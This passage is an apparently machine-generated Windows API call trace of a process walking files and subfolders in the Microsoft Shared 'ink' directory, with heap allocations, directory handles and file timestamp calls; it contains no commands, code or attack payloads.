FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.878] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.878] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0046.878] GetLastError () returned 0x12 [0046.878] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0046.878] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0046.878] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0046.878] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.878] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0046.878] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0046.878] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0046.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.878] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0046.878] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0046.878] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0046.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xee7868 [0046.879] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xee7868, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xee7868, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0046.879] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee7868) returned 1 [0046.879] NtClose (Handle=0x170) returned 0x0 [0046.879] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0046.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.879] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0046.879] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.879] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0046.879] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0046.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0046.879] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0046.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0046.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0046.879] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0046.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee4f38 [0046.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee59e0 [0046.879] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0046.879] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0046.879] GetLastError () returned 0x12 [0046.879] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0046.880] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0046.880] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.880] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.880] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0046.880] GetLastError () returned 0x12 [0046.880] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.880] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0046.880] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0046.880] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.880] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="")) returned 1 [0046.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0046.880] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0046.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0046.880] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0046.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xee7868 [0046.881] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xee7868, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xee7868, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0046.881] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee7868) returned 1 [0046.881] NtClose (Handle=0x174) returned 0x0 [0046.881] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0046.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0046.881] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee5ae8 [0046.881] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0046.886] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.886] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0046.886] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0046.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.886] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.886] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee5bf0 [0046.886] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee4f58 [0046.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee5cf8 [0046.886] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.886] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1 [0046.886] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0046.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.887] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.887] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee4f78 [0046.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee5e00 [0046.887] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.887] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0046.887] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1 [0046.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.887] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.887] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee4f98 [0046.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee5f08 [0046.887] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.887] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers", cAlternateFileName="")) returned 1 [0046.887] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 1 [0046.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.887] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.887] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee4fb8 [0046.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6010 [0046.887] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.887] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0046.887] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0046.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.888] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.888] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee4fd8 [0046.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6118 [0046.888] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.888] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="")) returned 1 [0046.888] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0046.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.888] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.888] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee4ff8 [0046.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6220 [0046.888] RtlFreeHeap 